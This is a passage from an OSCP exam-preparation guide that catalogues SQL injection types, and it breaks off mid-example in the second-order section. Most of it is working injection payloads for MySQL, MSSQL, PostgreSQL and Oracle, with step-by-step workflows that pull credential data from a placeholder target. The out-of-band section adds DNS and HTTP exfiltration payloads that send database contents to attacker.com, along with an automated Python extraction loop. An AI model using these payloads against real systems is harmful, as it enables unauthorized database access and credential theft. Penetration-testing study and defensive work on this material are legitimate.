SQL Injection Types
Table of Contents
- SQL Injection Classification Tree
- In-Band SQL Injection
- Blind SQL Injection
- Out-of-Band (OAST) SQL Injection
- Second-Order SQL Injection
- Comparison Table of All SQLi Types
- Decision Tree for Choosing Attack Type
- OSCP Exam Tips
1. SQL Injection Classification Tree
SQL Injection (SQLi)
│
├── In-Band SQLi (Same channel for attack & response)
│ ├── Error-Based SQLi
│ │ └── Database errors leak info to the attacker
│ └── Union-Based SQLi
│ └── UNION operator appends additional queries
│
├── Inferential / Blind SQLi (No direct data in response)
│ ├── Boolean-Based Blind SQLi
│ │ └── True/False response differences reveal data
│ └── Time-Based Blind SQLi
│ └── Delays in response confirm injection
│
├── Out-of-Band (OAST) SQLi
│ ├── DNS-based exfiltration
│ └── HTTP-based exfiltration
│
└── Second-Order SQLi
└── Stored payload executes later on different input
Key Distinction
| Category | Attack Channel | Response Channel | Data Visibility |
|---|---|---|---|
| In-Band | Same | Same | Direct (errors or UNION results) |
| Blind | Same | Same | Indirect (boolean/time inference) |
| Out-of-Band | Web app | External (DNS/HTTP) | Via attacker-controlled server |
| Second-Order | Stored input | Later request | Varies (depends on storage point) |
2. In-Band SQL Injection
In-Band SQLi is the most common and easiest to exploit. The attacker uses the same communication channel to launch the attack and gather results. It has two subtypes:
2.1 Error-Based SQLi
Definition
Error-Based SQLi occurs when the application displays detailed database error messages to the user. These errors can reveal:
- Database type and version
- Table and column names
- Data values
- Server information
Detection
Step 1: Test for Error Messages
Send payloads that force the database to generate errors:
'
"
' OR '1'='1
' AND '1'='1
1' ORDER BY 1-- -
' GROUP BY column_names Having 1=1-- -
Step 2: Identify Database from Error Messages
| Database | Error Signature | Example Error Text |
|---|---|---|
| MySQL | You have an error in your SQL syntax |
near ''' at line 1 |
| MSSQL | Unclosed quotation mark / Incorrect syntax |
near ''' |
| PostgreSQL | ERROR: unterminated quoted string |
at or near "'" |
| Oracle | ORA-00933: SQL command not properly ended |
missing right parenthesis |
Error-Based Payloads by Database
MySQL Error-Based Payloads
Method 1: ExtractValue (XML parsing error)
' AND ExtractValue(1, CONCAT(0x7e, (SELECT version())))-- -
Returns error containing the version string.
Method 2: UpdateXML (XML modification error)
' AND UpdateXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), 1)-- -
Method 3: Floor (Double query / aggregate function error)
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
Method 4: Name_Const (MySQL 5.6+)
' AND 1 GROUP BY CONCAT_WS(0x7e, version(), FLOOR(RAND(0)*2)) WITH ROLLUP-- -
MSSQL Error-Based Payloads
Method 1: Convert/Cast errors
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))-- -
Method 2: IN/EXISTS with invalid data type
' AND 1=(SELECT CASE WHEN 1=1 THEN CONVERT(int, (SELECT TOP 1 name FROM sys.tables)) ELSE 1 END)-- -
PostgreSQL Error-Based Payloads
Method 1: Cast to integer overflow
' AND 1=(SELECT (CASE WHEN (1=1) THEN 1::integer ELSE 1::text END))-- -
Method 2: Array index out of bounds
' AND (SELECT (ARRAY[(SELECT version())]])-- -
Oracle Error-Based Payloads
Method 1: CTXSYS.CONTEXT
' AND 1=CTXSYS.CONTEXT((SELECT banner FROM sys.v_$version WHERE ROWNUM=1), 'test')-- -
Method 2: DBMS_UTILITY.SQLID_TO_SQLTEXT
' AND (SELECT DBMS_UTILITY.SQLID_TO_SQLTEXT((SELECT SQL_ID FROM V$SQL WHERE ROWNUM=1)) FROM DUAL)-- -
Step-by-Step Exploitation Workflow (MySQL Example)
Scenario: Vulnerable parameter id in http://target/products.php?id=1
Step 1: Confirm Error-Based SQLi
http://target/products.php?id=1'
Expected: MySQL error message displayed on page.
Step 2: Extract Database Version
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT version())))-- -
Error reveals: XPATH syntax error: '~10.4.28-MariaDB'
Step 3: Extract Current Database Name
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT database())))-- -
Error reveals: XPATH syntax error: '~webapp_db'
Step 4: Extract Table Names
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- -
Increment LIMIT offset to enumerate all tables:
LIMIT 0,1→ first tableLIMIT 1,1→ second tableLIMIT 2,1→ third table
Step 5: Extract Column Names
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))-- -
Step 6: Extract Data
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1)))-- -
Step 7: Extract Multiple Values at Once
http://target/products.php?id=1' AND ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username,0x3a,password) FROM users)))-- -
2.2 Union-Based SQLi
Definition
Union-Based SQLi uses the UNION SQL operator to combine the results of the original query with the results of an attacker-controlled query. The combined results are displayed in the application’s normal response.
Prerequisites
- The application must display query results on the page
- The attacker’s query must return the same number of columns as the original query
- The data types of the attacker’s columns must be compatible with the original columns
Step-by-Step Exploitation Process
Scenario: Vulnerable parameter id in http://target/products.php?id=1
Step 1: Confirm UNION-Based SQLi
http://target/products.php?id=1' UNION SELECT NULL-- -
If no error and page loads normally, UNION is likely supported. If you get a column count mismatch error, proceed to Step 2.
Step 2: Determine Column Count
Method A: ORDER BY / GROUP BY Bisection
Use binary search to find the column count efficiently:
# Test with high number first
http://target/products.php?id=1' ORDER BY 10-- -
# If error, try lower
http://target/products.php?id=1' ORDER BY 5-- -
# If no error, try higher
http://target/products.php?id=1' ORDER BY 7-- -
# If error at 7, no error at 5, try 6
http://target/products.php?id=1' ORDER BY 6-- -
The highest number that returns no error is the column count.
Method B: UNION SELECT with NULLs
http://target/products.php?id=1' UNION SELECT 1-- -
# Error: "The used SELECT statements have a different number of columns"
http://target/products.php?id=1' UNION SELECT 1,2-- -
# Error persists...
http://target/products.php?id=1' UNION SELECT 1,2,3-- -
# No error! Column count = 3
Step 3: Identify Displayable Columns
Once column count is known (e.g., 3 columns), replace NULLs with identifiable values:
http://target/products.php?id=1' UNION SELECT 1,2,3-- -
Look at the page output. The numbers 1, 2, 3 that appear on the page indicate which column positions are displayable.
Example: If you see 2 and 3 displayed but not 1, then columns 2 and 3 are displayable.
Step 4: Extract Database Information
Replace the displayable column values with information-gathering queries:
# MySQL - Get version, current user, and database name
http://target/products.php?id=1' UNION SELECT 1,version(),database()-- -
# Get OS info
http://target/products.php?id=1' UNION SELECT 1,@@version,@@datadir-- -
Step 5: Enumerate Tables
# Get all table names in current database
http://target/products.php?id=1' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -
# Get all table names across all databases
http://target/products.php?id=1' UNION SELECT 1,CONCAT(table_schema,0x3a,table_name),3 FROM information_schema.tables-- -
Step 6: Enumerate Columns
# Get columns for a specific table
http://target/products.php?id=1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
Step 7: Extract Data
# Extract username and password
http://target/products.php?id=1' UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users-- -
Advanced UNION Techniques
GROUP_CONCAT for Bulk Extraction
Instead of extracting row-by-row, use GROUP_CONCAT to get all results in one query:
# Get all table names at once
http://target/products.php?id=1' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()-- -
# Get all usernames and passwords at once
http://target/products.php?id=1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x3c62723e),3 FROM users-- -
Note: 0x3c62723e = <br> for HTML line breaks. Default GROUP_CONCAT length is 1024 bytes. Increase with:
SET group_concat_max_len=100000;
NULL Casting for Type Compatibility
If a column expects a specific type, cast your values:
# Cast to string
http://target/products.php?id=1' UNION SELECT CAST(1 AS CHAR),CAST(version() AS CHAR),CAST(database() AS CHAR)-- -
# Cast to integer
http://target/products.php?id=1' UNION SELECT 1,NULL,NULL-- -
Using NULL Instead of Numbers
When numeric columns cause issues:
http://target/products.php?id=1' UNION SELECT NULL,NULL,NULL-- -
UNION with Subqueries
When you need to extract from nested queries:
http://target/products.php?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(username,0x3a,password) FROM users),3-- -
UNION-Based Payloads by Database
MySQL
# Basic UNION
' UNION SELECT 1,2,3-- -
# With NULL
' UNION SELECT NULL,NULL,NULL-- -
# Information extraction
' UNION SELECT @@version,@@datadir,@@basedir-- -
# Table enumeration
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -
# Column enumeration
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
# Data extraction
' UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users-- -
# Bulk extraction
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x7c),3 FROM users-- -
MSSQL
# Basic UNION (use -- or ;--)
' UNION SELECT 1,2,3--
# Information extraction
' UNION SELECT @@VERSION,SYSTEM_USER,DB_NAME()--
# Table enumeration
' UNION SELECT 1,name,3 FROM sys.tables--
# Alternative table enumeration
' UNION SELECT 1,table_name,3 FROM information_schema.tables--
# Column enumeration
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
# Data extraction
' UNION SELECT 1,username+' '+password,3 FROM users--
# Bulk extraction using FOR XML PATH
' UNION SELECT 1,(SELECT username+':'+password FROM users FOR XML PATH('')),3--
PostgreSQL
# Basic UNION
' UNION SELECT 1,2,3--
# Information extraction
' UNION SELECT version(),current_database(),current_user--
# Table enumeration
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='public'--
# Column enumeration
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
# Data extraction
' UNION SELECT 1,username||':'||password,3 FROM users--
# Bulk extraction using STRING_AGG (PG 9.4+)
' UNION SELECT 1,STRING_AGG(username||':'||password, E'\n'),3 FROM users--
# Alternative bulk (older PG)
' UNION SELECT 1,array_to_string(array_agg(username||':'||password), E'\n'),3 FROM users--
Oracle
# Basic UNION (Oracle uses FROM DUAL)
' UNION SELECT 1,2,3 FROM DUAL--
# Information extraction
' UNION SELECT banner,2,3 FROM sys.v_$version--
# Table enumeration
' UNION SELECT table_name,2,3 FROM all_tables--
# Column enumeration
' UNION SELECT column_name,2,3 FROM all_tab_columns WHERE table_name='USERS'--
# Data extraction
' UNION SELECT username||':'||password,2,3 FROM users--
# Bulk extraction using XMLAGG
' UNION SELECT XMLAGG(XMLELEMENT(E"u", username||':'||password).EXTRACT('//text()')).GETCLOBVAL(),2,3 FROM users--
3. Blind SQL Injection
Blind SQLi occurs when the application does not display query results or error messages. The attacker must infer data by observing the application’s behavior.
3.1 Boolean-Based Blind SQLi
Definition
Boolean-Based Blind SQLi exploits differences in the application’s response based on whether a SQL condition evaluates to TRUE or FALSE. The attacker sends conditional queries and observes:
- Page content differences (more/fewer items displayed)
- HTTP status code differences
- Response size differences
- Presence/absence of specific strings
How True/False Responses Work
Original Query: SELECT * FROM products WHERE id = [INPUT]
Payload: 1' AND 1=1-- -
Modified Query: SELECT * FROM products WHERE id = '1' AND 1=1-- -'
Result: TRUE → Page shows normal content (products displayed)
Payload: 1' AND 1=2-- -
Modified Query: SELECT * FROM products WHERE id = '1' AND 1=2-- -'
Result: FALSE → Page shows different content (no products / error / empty)
The difference between TRUE and FALSE responses is your oracle.
Character-by-Character Extraction
Extract data one character at a time using ASCII comparison:
# Is the first character of the database name ASCII > 100?
1' AND (ASCII(SUBSTRING((SELECT database()), 1, 1)) > 100)-- -
# Is the first character ASCII = 119 ('w')?
1' AND (ASCII(SUBSTRING((SELECT database()), 1, 1)) = 119)-- -
# Is the first character 'w'?
1' AND (SUBSTRING((SELECT database()), 1, 1) = 'w')-- -
ASCII Binary Search Method (Recommended)
Instead of testing each ASCII value (1-126) one by one, use binary search to extract each character in ~7 comparisons:
Algorithm for extracting character at position N:
Target: Extract character N of (SELECT database())
Step 1: mid = 64 (middle of range 1-127)
Test: ASCII(SUBSTRING((SELECT database()), N, 1)) > 64
If TRUE: range = 65-127
If FALSE: range = 1-64
Step 2: mid = new middle of range
Test: ASCII(SUBSTRING((SELECT database()), N, 1)) > mid
Narrow range based on result
Step 3: Repeat until range narrows to single value
Example: Extracting first character of database name
# Range: 1-127, mid = 64
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 64-- -
→ TRUE, so char is in range 65-127
# Range: 65-127, mid = 96
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 96-- -
→ TRUE, so char is in range 97-127
# Range: 97-127, mid = 112
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 112-- -
→ FALSE, so char is in range 97-112
# Range: 97-112, mid = 104
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 104-- -
→ TRUE, so char is in range 105-112
# Range: 105-112, mid = 108
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 108-- -
→ FALSE, so char is in range 105-108
# Range: 105-108, mid = 106
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 106-- -
→ TRUE, so char is in range 107-108
# Range: 107-108, mid = 107
1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 107-- -
→ FALSE, so char = 107 = 'k'
Result: First character is k (7 comparisons instead of up to 127).
Common Boolean-Based Payloads
MySQL
# Basic true/false test
' AND '1'='1 # TRUE
' AND '1'='2 # FALSE
# Database name length
' AND LENGTH(database()) > 5-- -
# Database name character extraction
' AND SUBSTRING(database(),1,1) = 'w'-- -
# ASCII comparison
' AND ASCII(SUBSTRING(database(),1,1)) > 100-- -
# Table existence check
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users') > 0-- -
# Column existence check
' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='password') > 0-- -
# Data extraction
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 90-- -
# Using MID instead of SUBSTRING
' AND MID(database(),1,1) = 'w'-- -
# Using LEFT function
' AND LEFT(database(),1) = 'w'-- -
MSSQL
# Basic true/false test
' AND '1'='1-- # TRUE
' AND '1'='2-- # FALSE
# Database name
' AND SUBSTRING(DB_NAME(),1,1) = 'w'--
# ASCII comparison
' AND ASCII(SUBSTRING(DB_NAME(),1,1)) > 100--
# Server name
' AND SUBSTRING(@@SERVERNAME,1,1) = 'S'--
# Table existence
' AND (SELECT COUNT(*) FROM sys.tables WHERE name='users') > 0--
# Data extraction
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 90--
PostgreSQL
# Basic true/false test
' AND '1'='1-- # TRUE
' AND '1'='2-- # FALSE
# Database name
' AND SUBSTRING(current_database(),1,1) = 'w'--
# ASCII comparison (PostgreSQL uses ORD or manual cast)
' AND (SELECT ASCII(SUBSTRING(current_database(),1,1))) > 100--
# Table existence
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users') > 0--
# Data extraction
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 90--
Oracle
# Basic true/false test
' AND '1'='1-- # TRUE
' AND '1'='2-- # FALSE
# Database name (Oracle uses global_name)
' AND SUBSTRING((SELECT global_name FROM global_name),1,1) = 'W'--
# ASCII comparison (Oracle uses ASCIISTR or manual)
' AND ASCII(SUBSTR((SELECT username FROM dual),1,1)) > 100--
# Table existence
' AND (SELECT COUNT(*) FROM all_tables WHERE table_name='USERS') > 0--
# Data extraction
' AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username='ADMIN') > 90--
Boolean-Based Extraction Workflow
Step 1: Confirm Boolean-Based SQLi
# TRUE condition - page shows content
http://target/products.php?id=1' AND '1'='1'-- -
# FALSE condition - page shows different content
http://target/products.php?id=1' AND '1'='2'-- -
Step 2: Determine Database Name Length
# Binary search for length
http://target/products.php?id=1' AND LENGTH(database()) > 10-- -
http://target/products.php?id=1' AND LENGTH(database()) > 5-- -
http://target/products.php?id=1' AND LENGTH(database()) > 7-- -
# Find exact length
Step 3: Extract Database Name Character by Character
Use binary search for each position (as shown in the algorithm above).
Step 4: Enumerate Tables
# Check if 'users' table exists
http://target/products.php?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users' AND table_schema=database()) > 0-- -
# Get table name length
http://target/products.php?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) > 5-- -
# Extract table name character by character
http://target/products.php?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)) > 100-- -
Step 5: Extract Column Names
# Get column count for 'users' table
http://target/products.php?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') > 5-- -
# Extract first column name
http://target/products.php?id=1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)) > 100-- -
Step 6: Extract Data
# Get password length for admin user
http://target/products.php?id=1' AND LENGTH((SELECT password FROM users WHERE username='admin')) > 20-- -
# Extract password character by character
http://target/products.php?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 100-- -
3.2 Time-Based Blind SQLi
Definition
Time-Based Blind SQLi is used when the application does not reflect any difference in the response based on TRUE/FALSE conditions. Instead, the attacker uses time-delay functions to infer data. If the page takes longer to respond, the injection is confirmed.
When to Use
- Boolean-based responses are not observable (no content difference)
- Application has consistent response times for normal queries
- No error messages are displayed
- No data is reflected in the response
Time Delay Functions by Database
MySQL
# SLEEP() - Sleeps for N seconds
' AND SLEEP(5)-- -
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)-- -
# BENCHMARK() - Executes expression N times
' AND BENCHMARK(50000000, SHA1('test'))-- -
' AND (SELECT CASE WHEN (1=1) THEN BENCHMARK(50000000, SHA1('test')) ELSE 1 END)-- -
# IF with SLEEP
' AND IF(1=1, SLEEP(5), 1)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 1)-- -
MSSQL
# WAITFOR DELAY - Delays execution
'; WAITFOR DELAY '0:0:5'--
'; IF(1=1) WAITFOR DELAY '0:0:5'--
# Conditional delay
'; IF(SUBSTRING((SELECT DB_NAME()),1,1) = 'w') WAITFOR DELAY '0:0:5'--
# Using BEGIN/END block
'; BEGIN IF (1=1) WAITFOR DELAY '0:0:5' END--
PostgreSQL
# pg_sleep() - Sleeps for N seconds
' AND pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# Conditional delay
' AND (SELECT CASE WHEN (ASCII(SUBSTRING(current_database(),1,1)) > 100) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# Using generate_series for delay (alternative)
' AND (SELECT COUNT(*) FROM generate_series(1,1000000))--
Oracle
# DBMS_LOCK.SLEEP - Sleeps for N seconds
'; BEGIN DBMS_LOCK.SLEEP(5); END;--
# Conditional delay
'; BEGIN IF (1=1) THEN DBMS_LOCK.SLEEP(5); END IF; END;--
# Using UTL_HTTP for delay (if available)
'; DECLARE v VARCHAR2(100); BEGIN SELECT banner INTO v FROM sys.v_$version WHERE ROWNUM=1; IF (SUBSTR(v,1,1)='O') THEN DBMS_LOCK.SLEEP(5); END IF; END;--
# Alternative: DBMS_PIPE.RECEIVE_MESSAGE
'; BEGIN DBMS_PIPE.RECEIVE_MESSAGE('test', 5); END;--
Time-Based Extraction Algorithm
Conditional Delay Pattern:
IF (condition) THEN SLEEP(delay) ELSE SLEEP(0)
Binary Search with Time Delays:
# Is the first character of database name ASCII > 100?
' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 1)-- -
# If page takes 5+ seconds → TRUE (char > 100)
# If page loads normally → FALSE (char <= 100)
Full Extraction Workflow:
# Step 1: Confirm Time-Based SQLi
' AND SLEEP(5)-- -
# If response takes ~5 seconds, Time-Based SQLi confirmed
# Step 2: Get database name length
' AND IF(LENGTH(database()) > 10, SLEEP(5), 1)-- -
# Binary search for exact length
# Step 3: Extract each character using binary search
# Position 1, range 32-126, mid = 79
' AND IF(ASCII(SUBSTRING(database(),1,1)) > 79, SLEEP(5), 1)-- -
# If delay → char > 79, narrow to 80-126
# If no delay → char <= 79, narrow to 32-79
# Step 4: Continue binary search until character is identified
# Step 5: Repeat for each position
Optimized Time-Based Extraction
To speed up extraction, use progressive delays:
# Instead of fixed 5 seconds, use position-based delays
# to identify which condition triggered
' AND IF(ASCII(SUBSTRING(database(),1,1)) > 64, SLEEP(5), SLEEP(1))-- -
# 5 second delay → TRUE
# 1 second delay → FALSE (but still confirms injection)
# Or use different delays for different bit positions
' AND IF(ASCII(SUBSTRING(database(),1,1)) & 1, SLEEP(1), 1)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1)) & 2, SLEEP(2), 1)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1)) & 4, SLEEP(4), 1)-- -
Time-Based Payloads Summary
| Database | Delay Function | Conditional Pattern |
|---|---|---|
| MySQL | SLEEP(N) |
IF(condition, SLEEP(5), 1) |
| MySQL | BENCHMARK(N,expr) |
IF(condition, BENCHMARK(50000000,SHA1('test')), 1) |
| MSSQL | WAITFOR DELAY '0:0:N' |
IF(condition) WAITFOR DELAY '0:0:5' |
| PostgreSQL | pg_sleep(N) |
CASE WHEN condition THEN pg_sleep(5) ELSE pg_sleep(0) END |
| Oracle | DBMS_LOCK.SLEEP(N) |
BEGIN IF condition THEN DBMS_LOCK.SLEEP(5); END IF; END; |
4. Out-of-Band (OAST) SQL Injection
Definition
Out-of-Band (OAST) SQLi uses alternative communication channels (DNS or HTTP) to exfiltrate data. The injected query causes the database server to make an outbound connection to an attacker-controlled server, carrying the extracted data in the request.
When to Use
- In-band and blind techniques are not feasible
- The database server has outbound network access
- You control an external server or DNS resolver
- Firewalls allow outbound DNS/HTTP but restrict inbound
DNS-Based Exfiltration
MySQL DNS Exfiltration
Method 1: LOAD_FILE with UNC Path
# Forces MySQL to resolve DNS name containing data
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.attacker.com\\test')))-- -
# Extract database name
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test')))-- -
# Extract table names
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), '.attacker.com\\test')))-- -
# Extract username:password
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1), '.attacker.com\\test')))-- -
How it works: MySQL attempts to load a file from a UNC path \\[data].attacker.com\test. This triggers a DNS lookup for [data].attacker.com, which the attacker’s DNS server logs.
Method 2: INTO OUTFILE with DNS
# Requires FILE privilege
' UNION SELECT 1,2,3 INTO OUTFILE '\\\\[data].attacker.com\\test'-- -
MSSQL DNS Exfiltration
Method 1: xp_dirtree
# xp_dirtree resolves UNC paths, triggering DNS
'; EXEC master..xp_dirtree '\\\\(SELECT TOP 1 table_name FROM information_schema.tables).attacker.com\\test'--
# Extract database name
'; EXEC master..xp_dirtree '\\\\(SELECT DB_NAME()).attacker.com\\test'--
# Extract server name
'; EXEC master..xp_dirtree '\\\\(SELECT @@SERVERNAME).attacker.com\\test'--
Method 2: OPENROWSET
'; SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Text;Database=\\\\(SELECT DB_NAME()).attacker.com\\','Sheet1$')--
Method 3: Backup to network share
'; BACKUP DATABASE [dbname] TO DISK = '\\\\(SELECT DB_NAME()).attacker.com\\backup.bak'--
PostgreSQL DNS Exfiltration
PostgreSQL has limited built-in DNS exfiltration. Common approaches:
# Using copy to program (requires superuser)
'; COPY (SELECT version()) TO PROGRAM 'nslookup [data].attacker.com'--
# Using dblink extension if available
'; SELECT dblink_connect('host=attacker.com')--
Oracle DNS Exfiltration
# Using UTL_INADDR.get_host_address
'; SELECT UTL_INADDR.get_host_address((SELECT banner FROM sys.v_$version WHERE ROWNUM=1)||'.attacker.com') FROM DUAL--
# Using UTL_HTTP (triggers HTTP + DNS)
'; SELECT UTL_HTTP.request('http://(SELECT username FROM sys.dual).attacker.com/') FROM DUAL--
# Using DBMS_LDAP
'; SELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE username='SYS'),80) FROM DUAL--
HTTP-Based Exfiltration
MSSQL OLE Automation
-- Enable OLE Automation
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE--
-- Create HTTP request object
'; DECLARE @obj INT, @resp TEXT; EXEC sp_OACreate 'MSXML2.ServerXMLHTTP', @obj OUT; EXEC sp_OAMethod @obj, 'open', NULL, 'GET', 'http://attacker.com/?data=' + (SELECT TOP 1 password FROM users), 'false'; EXEC sp_OAMethod @obj, 'send'--
-- Alternative using WinHTTP
'; DECLARE @obj INT; EXEC sp_OACreate 'WinHttp.WinHttpRequest.5.1', @obj OUT; EXEC sp_OAMethod @obj, 'Open', NULL, 'GET', 'http://attacker.com/?data=' + (SELECT DB_NAME()), FALSE; EXEC sp_OAMethod @obj, 'Send'--
MySQL HTTP Exfiltration
-- Using LOAD_FILE with HTTP (limited)
' AND (SELECT LOAD_FILE('http://attacker.com/?data=' || (SELECT version())))-- -
-- Using INTO OUTFILE to write, then HTTP fetch
-- Not directly possible, requires file system access
Oracle HTTP Exfiltration
-- Using UTL_HTTP
'; SELECT UTL_HTTP.request('http://attacker.com/?data=' || (SELECT password FROM users WHERE username='SYS')) FROM DUAL--
-- Using UTL_HTTP with POST
'; DECLARE req UTL_HTTP.REQ; resp UTL_HTTP.RESP; BEGIN req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/collect', 'POST'); UTL_HTTP.SET_HEADER(req, 'Content-Type', 'application/x-www-form-urlencoded'); UTL_HTTP.WRITE_TEXT(req, 'data=' || (SELECT password FROM users WHERE username='SYS')); resp := UTL_HTTP.GET_RESPONSE(req); END;--
Burp Collaborator Integration
Burp Collaborator is the standard tool for OAST testing in OSCP.
Step-by-Step Burp Collaborator Workflow
Step 1: Generate Collaborator Payload
- Open Burp Suite → Burp Collaborator tab
- Click “Copy to clipboard” to copy a unique subdomain (e.g.,
a1b2c3d4e5f6burpcollaborator.net)
Step 2: Inject Collaborator Domain
# MySQL DNS exfiltration with Collaborator
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.a1b2c3d4e5f6.burpcollaborator.net\\test')))-- -
# MSSQL with Collaborator
'; EXEC master..xp_dirtree '\\\\(SELECT DB_NAME()).a1b2c3d4e5f6.burpcollaborator.net\\test'--
# Oracle with Collaborator
'; SELECT UTL_INADDR.get_host_address((SELECT banner FROM sys.v_$version WHERE ROWNUM=1)||'.a1b2c3d4e5f6.burpcollaborator.net') FROM DUAL--
Step 3: Check for Interactions
- Go back to Burp Collaborator tab
- Click “Poll now”
- Check for DNS, HTTP, or SMTP interactions
- The interaction will contain the exfiltrated data in the DNS query
Step 4: Extract Data from Interactions
The DNS interaction shows:
Type: DNS
Hostname: webapp_db.a1b2c3d4e5f6.burpcollaborator.net
The subdomain webapp_db is the exfiltrated database name.
Automated OAST with Burp Collaborator
For character-by-character extraction via DNS:
# Conceptual Python script for automated DNS exfiltration
import requests
import time
collaborator_domain = "a1b2c3d4e5f6.burpcollaborator.net"
target_url = "http://target/products.php"
data = ""
position = 1
while True:
found = False
for char in "abcdefghijklmnopqrstuvwxyz0123456789_":
payload = f"1' AND (SELECT LOAD_FILE(CONCAT('\\\\', SUBSTRING((SELECT database()), {position}, 1), '.{collaborator_domain}\\test')))-- -"
requests.get(target_url, params={"id": payload})
time.sleep(2)
# Check Burp Collaborator for interaction
# If interaction found with subdomain matching `char`, append to data
if check_collaborator(char):
data += char
position += 1
found = True
break
if not found:
break
print(f"Extracted: {data}")
5. Second-Order SQL Injection
Definition
Second-Order SQLi occurs when a SQL injection payload is:
- Stored in the database (or another storage mechanism) during one request
- Retrieved and executed in a different SQL query during a subsequent request
The injection point and the execution point are different, making this type harder to detect.
Attack Flow
Phase 1: Storage (Injection Point)
┌─────────────────────────────────────────────┐
│ User Input: Profile Update │
│ Field: nickname │
│ Value: ' OR '1'='1 │
│ │
│ Application stores in DB: │
│ UPDATE users SET nickname=''' OR ''1''=''1' │
│ WHERE user_id=42 │
│ │
│ ✅ No immediate effect (payload is stored) │
└─────────────────────────────────────────────┘
↓
Phase 2: Execution (Exploitation Point)
┌─────────────────────────────────────────────┐
│ Admin views user profile │
│ Application queries: │
│ SELECT * FROM users WHERE │
│ nickname=''' OR ''1''=''1' │
│ │
│ ❌ Payload executes! Returns all users │
└─────────────────────────────────────────────┘
Common Storage Points
| Storage Location | Example Scenario | Risk Level |
|---|---|---|
| User profiles | Nickname, bio, signature fields | High |
| Comments/Reviews | Product reviews, blog comments | High |
| Search history | Stored search queries | Medium |
| Configuration settings | User preferences, settings | Medium |
| Registration data | Username, email, custom fields | High |
| Shopping cart | Product names, notes | Low-Medium |
| API tokens/sessions | Stored session data | Critical |
| Logs/Audit trails | Activity logs stored in DB | Low |
Detection Strategy
Step 1: Identify All Input Points
Map every user-controllable input that gets stored:
- Registration forms
- Profile update pages
- Comment sections
- Search functionality
- API endpoints that create/update records
Step 2: Inject Payloads at Storage Points
# Store a payload in a profile field
PUT /api/users/42/profile
{
"nickname": "' OR '1'='1",
